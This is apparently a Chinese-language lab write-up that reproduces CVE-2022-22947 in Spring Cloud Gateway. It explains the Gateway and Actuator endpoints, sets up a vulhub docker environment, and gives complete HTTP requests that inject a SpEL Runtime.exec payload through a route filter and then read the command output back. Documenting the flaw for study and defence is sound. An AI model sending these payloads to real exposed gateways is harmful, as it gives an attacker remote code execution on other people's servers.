一、简介

1、Spring Cloud生态

Spring开发团队在SpringBoot的基础上开发了Spring Cloud全家桶,也就是说我们需要使用的SpringBoot的所有组件都有了现成的解决方案,比如Eureka、Ribbon、OpenFeign、Hystrix、 Config、Zuul......该漏洞涉及的组件是Gateway(网关)

2、Spring Cloud Gateway概念

组成部分

路由(Route)
我作为用户访问到网关的时候,会从后面选择一个服务进行访问,根据你的HTTP的协议里面或者服务与服务进行调用的地址里面,根据你的URI进行匹配。

断言(Predicate)
相对于URI会更加高级,可以匹配HTTP请求里面的任意内容,比如说你的HTTP的请求头里面包含了什么字段,它的值是什么的时候,就会给你转发到相应的地址;再比如说你请求的参数,不管是GET还是POST,只要我可以匹配得上,就会给你匹配到相应的地址,也是路由的一种方式......

过滤器(Filter)
它可以修改HTTP请求及响应的内容,当你HTTP请求或者响应满足什么样的内容的时候,它会修改HTTP的内容.

网关作用

● 智能路由
● 负载均衡
● 协议转换
● 权限校验
● 限流熔断
● 黑白名单
● API监控
● 日志审计

3、Gateway(网关服务)和Actuator(监控组件)

SpringBoot Actuator是SpringBoot的一个监控的组件,可以对其他Spring Boot的部件进行健康检查、 审计、统计、HTTP追踪......

由于Spring Cloud Gateway也是一种微服务的应用,所以也可以让Actuator对它进行监控,本漏洞就是通过Actuator操作gateway接口列表来实现远程执行命令

构造Actuator操作Gateway接口列表

http://host:port/actuator/gateway/ id

● 获取所有路由:Get请求:http://localhost:xxxx/actuator/gateway/routes/
● 添加路由:POST请求:http://localhost:xxxx/actuator/gateway/routes/路由编号
● 删除路由:DELETE请求:http://localhost:xxxx/actuator/gateway/routes/路由编号
● 获取指定路由:GET请求:http://localhost:xxxx/actuator/gateway/routes/路由编号
● 刷新路由:POST请求:http://localhost:xxxx/actuator/gateway/refresh

其中,调用添加路由的端点时,可以向路由中加入filters,过滤器的值允许为spEL表达式,且会解析这个spEL表达式。可以通过构造spEL进行远程命令执行。构造的filters可以直接利用gateway自带的AddResponseHeader,将spEL的执行结果添加到响应头中,直接通过响应头进行查看。

//SpEL概念
Spring 表达式语言(简称“SpEL”)是一种强大的表达式语言,支持在运行时查询和操作对象图。语言语法类似于 Unified EL,但提供了额外的功能,最值得注意的是方法调用和基本的字符串模板功能。
虽然 SpEL 是 Spring 产品组合中表达式评估的基础,但它不直接与 Spring 绑定,可以独立使用。

id

HTTP Method

description

globalfilters

GET

返回全局Filter列表

routefilers

GET

每个路由的filter

routes

GET

路由列表

routes/{id}

GET

指定路由信息

routes/{id}

POST

创建路由

refresh

POST

刷新路由缓存

delete

POST

删除路由

4、总结

Spring Cloud Gateway是基于Spring Framework和Spring Boot构建的API网关,它旨在为微服务架构提供一种简单、有效、统一的API路由管理方式。 Spring官方博客发布了一篇关于Spring Cloud Gateway的CVE报告,据公告描述,当启用和暴露Gateway Actuator端点时,使用Spring Cloud Gateway的应用程序可受到代码注入攻击。攻击者可以发送特制的恶意请求,从而远程执行任意代码。

二、漏洞复现

1、Centos下docker起环境Spring Cloud Gateway

//查看ip
	ifconfig
//起环境
	cd 桌面/vulhub-master/spring/CVE-2022-22947
	docker-compose up -d
//查看端口
	docker-compose ps

GateWayProperties 白名单 spring cloud gateway 白名单_spring cloud

GateWayProperties 白名单 spring cloud gateway 白名单_安全_02

GateWayProperties 白名单 spring cloud gateway 白名单_网络安全_03

2、模拟攻击

{
"id": "----自定义一个路由id--------",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "--------此处构造spEL-------------"
}
}],
"uri": "http://localhost:8088------随意写个地址",
"predicates": ["Path=/aaa/**--------随意写个匹配规则"]
}
1. 按照上面的示例payload,通过构造spEL,在spEL中使用 Runtime 类执行命令。
2. 调用刷新路由的端点,刷新gateway中的路由
3. 调用获取指定路由的端点,使路由的spEL表达式被解析执行
因为 filters 中的value类型为字符串,所以如果想在获取指定路由时,通过响应看到命令执行结果,那么可以将spEL表达式通过new String(xxxxx)构造成返回String字符串的返回值。

eg.	#{new String(T(java.lang.Runtime).getRuntime().exec(new String[]{\"/bin/sh\",\"-c\", \"ls -l /"}).toString())}

3、构造spEL

POST /actuator/gateway/routes/test HTTP/1.1
Host: 192.168.2.131:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.120 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 331

{
"id": "test",
"filters": [
{
"name": "AddResponseHeader",
"args": {
"value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"whoami\"}).getInputStream()))}",
"name": "result"
}
}
],
"uri": "http://example.com:80",
"order": 0
}

GateWayProperties 白名单 spring cloud gateway 白名单_安全_04

4、刷新路由缓存

POST /actuator/gateway/refresh HTTP/1.1
Host: 192.168.2.131:8080
Connection: close
Content-Type: application/x-www-form-urlencoded

GateWayProperties 白名单 spring cloud gateway 白名单_HTTP_05

5、get回显

GET /actuator/gateway/routes/test HTTP/1.1
Host: 192.168.2.131:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.120 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

GateWayProperties 白名单 spring cloud gateway 白名单_网络安全_06


如图回显了命令whoami的结果

文献参考:

https://y4er.com/posts/cve-2022-22947-springcloud-gateway-spel-rce-echo-response/
https://vulfocus.cn/#/dashboard?image_id=711335fd-33d8-4a68-b5aa-235d30ded5e2